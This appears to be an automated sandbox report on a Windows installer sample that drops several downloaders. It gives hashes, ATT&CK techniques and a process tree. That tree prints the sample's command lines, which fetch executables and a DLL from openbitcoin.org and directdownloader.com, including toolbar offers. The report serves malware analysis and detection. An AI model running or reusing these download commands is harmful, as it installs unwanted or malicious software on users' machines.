26b00fd8830c3e2ffb4aad33cce8fde06d9f480dff700db8a1b51a0e3d142865

Analysis

max time kernel
150s
max time network
156s
platform
windows7_x64
resource
win7-20240215-en
resource tags

arch:x64arch:x86image:win7-20240215-enlocale:en-usos:windows7-x64system
submitted
25-05-2024 22:57

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

7387907167931482daf111f71c74cab6_JaffaCakes118.exe
Size

337KB
MD5

7387907167931482daf111f71c74cab6
SHA1

6fed3f1cd4b4b6dc61bba666073dcbc76bbd967c
SHA256

26b00fd8830c3e2ffb4aad33cce8fde06d9f480dff700db8a1b51a0e3d142865
SHA512

99945aeaedba21a849f7adf45cac4e54aa23414d322cc7b49beb1efcd859b8d970c833562602e0a40e2577d74e104651c1d54dd09513c5a5e08b8f2b5f0091ba
SSDEEP

6144:oc63Az3BQ6QtiEBC4lSEjVSRvELlZMCl3yNnmoW38tyTzsUdrc9M+bsQdNaHyYtJ:GGRIpBsEjVSJE5+Cl3MNoTb29M+B4K4

Score

7^/10

discovery

Malware Config

Signatures

Executes dropped EXE 7 IoCs

pid	Process
2256	downloaderSTUB.exe
2560	downloaderSTUB.exe
2752	downloaderSTUB.exe
1116	downloaderDDLR.exe
2704	downloaderOFFER1.exe
2672	downloaderOFFER1.exe
2740	preinstaller.exe

Loads dropped DLL 37 IoCs

pid	Process
2208	7387907167931482daf111f71c74cab6_JaffaCakes118.exe
2208	7387907167931482daf111f71c74cab6_JaffaCakes118.exe
2208	7387907167931482daf111f71c74cab6_JaffaCakes118.exe
2208	7387907167931482daf111f71c74cab6_JaffaCakes118.exe
2208	7387907167931482daf111f71c74cab6_JaffaCakes118.exe
2208	7387907167931482daf111f71c74cab6_JaffaCakes118.exe
2208	7387907167931482daf111f71c74cab6_JaffaCakes118.exe
2560	downloaderSTUB.exe
2256	downloaderSTUB.exe
2752	downloaderSTUB.exe
1116	downloaderDDLR.exe
2672	downloaderOFFER1.exe
2704	downloaderOFFER1.exe
2560	downloaderSTUB.exe
2256	downloaderSTUB.exe
2752	downloaderSTUB.exe
1116	downloaderDDLR.exe
2672	downloaderOFFER1.exe
2704	downloaderOFFER1.exe
2560	downloaderSTUB.exe
2256	downloaderSTUB.exe
2752	downloaderSTUB.exe
1116	downloaderDDLR.exe
2672	downloaderOFFER1.exe
2704	downloaderOFFER1.exe
2560	downloaderSTUB.exe
2256	downloaderSTUB.exe
2752	downloaderSTUB.exe
1116	downloaderDDLR.exe
2672	downloaderOFFER1.exe
2704	downloaderOFFER1.exe
2560	downloaderSTUB.exe
2256	downloaderSTUB.exe
2752	downloaderSTUB.exe
1116	downloaderDDLR.exe
2672	downloaderOFFER1.exe
2704	downloaderOFFER1.exe

Creates a large amount of network flows 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

NSIS installer 2 IoCs

installer

resource	yara_rule
behavioral1/files/0x0009000000014dae-4.dat	nsis_installer_1
behavioral1/files/0x0009000000014dae-4.dat	nsis_installer_2

Suspicious use of WriteProcessMemory 31 IoCs

description	pid	Process	procid_target
PID 2208 wrote to memory of 2256	2208	7387907167931482daf111f71c74cab6_JaffaCakes118.exe	28
PID 2208 wrote to memory of 2256	2208	7387907167931482daf111f71c74cab6_JaffaCakes118.exe	28
PID 2208 wrote to memory of 2256	2208	7387907167931482daf111f71c74cab6_JaffaCakes118.exe	28
PID 2208 wrote to memory of 2256	2208	7387907167931482daf111f71c74cab6_JaffaCakes118.exe	28
PID 2208 wrote to memory of 2752	2208	7387907167931482daf111f71c74cab6_JaffaCakes118.exe	29
PID 2208 wrote to memory of 2752	2208	7387907167931482daf111f71c74cab6_JaffaCakes118.exe	29
PID 2208 wrote to memory of 2752	2208	7387907167931482daf111f71c74cab6_JaffaCakes118.exe	29
PID 2208 wrote to memory of 2752	2208	7387907167931482daf111f71c74cab6_JaffaCakes118.exe	29
PID 2208 wrote to memory of 2560	2208	7387907167931482daf111f71c74cab6_JaffaCakes118.exe	30
PID 2208 wrote to memory of 2560	2208	7387907167931482daf111f71c74cab6_JaffaCakes118.exe	30
PID 2208 wrote to memory of 2560	2208	7387907167931482daf111f71c74cab6_JaffaCakes118.exe	30
PID 2208 wrote to memory of 2560	2208	7387907167931482daf111f71c74cab6_JaffaCakes118.exe	30
PID 2208 wrote to memory of 1116	2208	7387907167931482daf111f71c74cab6_JaffaCakes118.exe	31
PID 2208 wrote to memory of 1116	2208	7387907167931482daf111f71c74cab6_JaffaCakes118.exe	31
PID 2208 wrote to memory of 1116	2208	7387907167931482daf111f71c74cab6_JaffaCakes118.exe	31
PID 2208 wrote to memory of 1116	2208	7387907167931482daf111f71c74cab6_JaffaCakes118.exe	31
PID 2208 wrote to memory of 2672	2208	7387907167931482daf111f71c74cab6_JaffaCakes118.exe	32
PID 2208 wrote to memory of 2672	2208	7387907167931482daf111f71c74cab6_JaffaCakes118.exe	32
PID 2208 wrote to memory of 2672	2208	7387907167931482daf111f71c74cab6_JaffaCakes118.exe	32
PID 2208 wrote to memory of 2672	2208	7387907167931482daf111f71c74cab6_JaffaCakes118.exe	32
PID 2208 wrote to memory of 2704	2208	7387907167931482daf111f71c74cab6_JaffaCakes118.exe	33
PID 2208 wrote to memory of 2704	2208	7387907167931482daf111f71c74cab6_JaffaCakes118.exe	33
PID 2208 wrote to memory of 2704	2208	7387907167931482daf111f71c74cab6_JaffaCakes118.exe	33
PID 2208 wrote to memory of 2704	2208	7387907167931482daf111f71c74cab6_JaffaCakes118.exe	33
PID 2208 wrote to memory of 2740	2208	7387907167931482daf111f71c74cab6_JaffaCakes118.exe	34
PID 2208 wrote to memory of 2740	2208	7387907167931482daf111f71c74cab6_JaffaCakes118.exe	34
PID 2208 wrote to memory of 2740	2208	7387907167931482daf111f71c74cab6_JaffaCakes118.exe	34
PID 2208 wrote to memory of 2740	2208	7387907167931482daf111f71c74cab6_JaffaCakes118.exe	34
PID 2208 wrote to memory of 2740	2208	7387907167931482daf111f71c74cab6_JaffaCakes118.exe	34
PID 2208 wrote to memory of 2740	2208	7387907167931482daf111f71c74cab6_JaffaCakes118.exe	34
PID 2208 wrote to memory of 2740	2208	7387907167931482daf111f71c74cab6_JaffaCakes118.exe	34

C:\Users\Admin\AppData\Local\Temp\7387907167931482daf111f71c74cab6_JaffaCakes118.exe
"C:\Users\Admin\AppData\Local\Temp\7387907167931482daf111f71c74cab6_JaffaCakes118.exe"
1⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:2208
- C:\Users\Admin\AppData\Local\Temp\820989c9c2cd51a3164467a25b3b2105\downloaderSTUB.exe
  C:\Users\Admin\AppData\Local\Temp\820989c9c2cd51a3164467a25b3b2105\downloaderSTUB.exe /U "http://www.openbitcoin.org/static/dist/obc.exe" /D "C:\Users\Admin\AppData\Local\Temp\820989c9c2cd51a3164467a25b3b2105\stub.exe"
  2⤵
  - Executes dropped EXE
  - Loads dropped DLL
  PID:2256
- C:\Users\Admin\AppData\Local\Temp\820989c9c2cd51a3164467a25b3b2105\downloaderSTUB.exe
  C:\Users\Admin\AppData\Local\Temp\820989c9c2cd51a3164467a25b3b2105\downloaderSTUB.exe /U "http://openbitcoin.org/static/dist/OpenCL.dll" /D "C:\Users\Admin\AppData\Local\Temp\820989c9c2cd51a3164467a25b3b2105\OpenCL.dll"
  2⤵
  - Executes dropped EXE
  - Loads dropped DLL
  PID:2752
- C:\Users\Admin\AppData\Local\Temp\820989c9c2cd51a3164467a25b3b2105\downloaderSTUB.exe
  C:\Users\Admin\AppData\Local\Temp\820989c9c2cd51a3164467a25b3b2105\downloaderSTUB.exe /U "http://openbitcoin.org/static/dist/updater.exe" /D "C:\Users\Admin\AppData\Local\Temp\820989c9c2cd51a3164467a25b3b2105\updater.exe"
  2⤵
  - Executes dropped EXE
  - Loads dropped DLL
  PID:2560
- C:\Users\Admin\AppData\Local\Temp\820989c9c2cd51a3164467a25b3b2105\downloaderDDLR.exe
  C:\Users\Admin\AppData\Local\Temp\820989c9c2cd51a3164467a25b3b2105\downloaderDDLR.exe /U "http://www.directdownloader.com/DirectDownloaderInstaller.exe" /D "C:\Users\Admin\AppData\Local\Temp\820989c9c2cd51a3164467a25b3b2105\DirectDownloaderInstaller.exe"
  2⤵
  - Executes dropped EXE
  - Loads dropped DLL
  PID:1116
- C:\Users\Admin\AppData\Local\Temp\820989c9c2cd51a3164467a25b3b2105\downloaderOFFER1.exe
  C:\Users\Admin\AppData\Local\Temp\820989c9c2cd51a3164467a25b3b2105\downloaderOFFER1.exe /U "http://www.directdownloader.com/toolbars/GamesLeap79048.exe" /D "C:\Users\Admin\AppData\Local\Temp\820989c9c2cd51a3164467a25b3b2105\volcano.exe"
  2⤵
  - Executes dropped EXE
  - Loads dropped DLL
  PID:2672
- C:\Users\Admin\AppData\Local\Temp\820989c9c2cd51a3164467a25b3b2105\downloaderOFFER1.exe
  C:\Users\Admin\AppData\Local\Temp\820989c9c2cd51a3164467a25b3b2105\downloaderOFFER1.exe /U "http://www.directdownloader.com/toolbars/PricePeepInstaller.exe" /D "C:\Users\Admin\AppData\Local\Temp\820989c9c2cd51a3164467a25b3b2105\pricepeep.exe"
  2⤵
  - Executes dropped EXE
  - Loads dropped DLL
  PID:2704
- C:\Users\Admin\AppData\Local\Temp\820989c9c2cd51a3164467a25b3b2105\preinstaller.exe
  C:\Users\Admin\AppData\Local\Temp\820989c9c2cd51a3164467a25b3b2105\preinstaller.exe 0 "nude" "Download"
  2⤵
  - Executes dropped EXE
  PID:2740

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Network Service Discovery

T1046

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Temp\820989c9c2cd51a3164467a25b3b2105\downloaderOFFER2.exe

Filesize
58KB

MD5
c7f6ed56312c8fbb58ae6ed445c38df4

SHA1
e2dba94ef052db774478b9f7198c1a2298b334e5

SHA256
fdb8452173a4f116f6e362ab5466c3c16bf6697502fe3d01db0d82f0e339de24

SHA512
ac43e5bb31c3c0876a7768553916cce76d92088e62594e8463b128a0d6e587c48152a5efcf0b2a5e8fb43028d46913df114ae3c3750b7e6c4212c7044518ba43

Download Submit
C:\Users\Admin\AppData\Local\Temp\820989c9c2cd51a3164467a25b3b2105\preinstaller.exe

Filesize
241KB

MD5
9d8fe8bcc4c493b2fd1da8d2b07ba57c

SHA1
aa9366eb9210c8a5398b5e55921c92ce8970df5b

SHA256
f33b7419880c7c90c999970e4c21febaaf6d39fdb02f9d9deafa8f8d97f3b3eb

SHA512
3fd58a0d7c870e8b07eb17f8f088d505ad98c7101733972f486a2946d18babfe0e4866ae28a16fe2481e006c26cbdf2d3eb1a2dd71bb44c084bbf14fea475216

Download Submit
\Users\Admin\AppData\Local\Temp\nso1891.tmp\NSISdl.dll

Filesize
14KB

MD5
a5f8399a743ab7f9c88c645c35b1ebb5

SHA1
168f3c158913b0367bf79fa413357fbe97018191

SHA256
dacc88a12d3ba438fdae3535dc7a5a1d389bce13adc993706424874a782e51c9

SHA512
824e567f5211bf09c7912537c7836d761b0934207612808e9a191f980375c6a97383dbc6b4a7121c6b5f508cbfd7542a781d6b6b196ca24841f73892eec5e977

Download Submit
memory/2208-67-0x0000000000400000-0x0000000000440000-memory.dmp

Filesize
256KB

Download
memory/2740-68-0x0000000000400000-0x0000000000446000-memory.dmp

Filesize
280KB

Download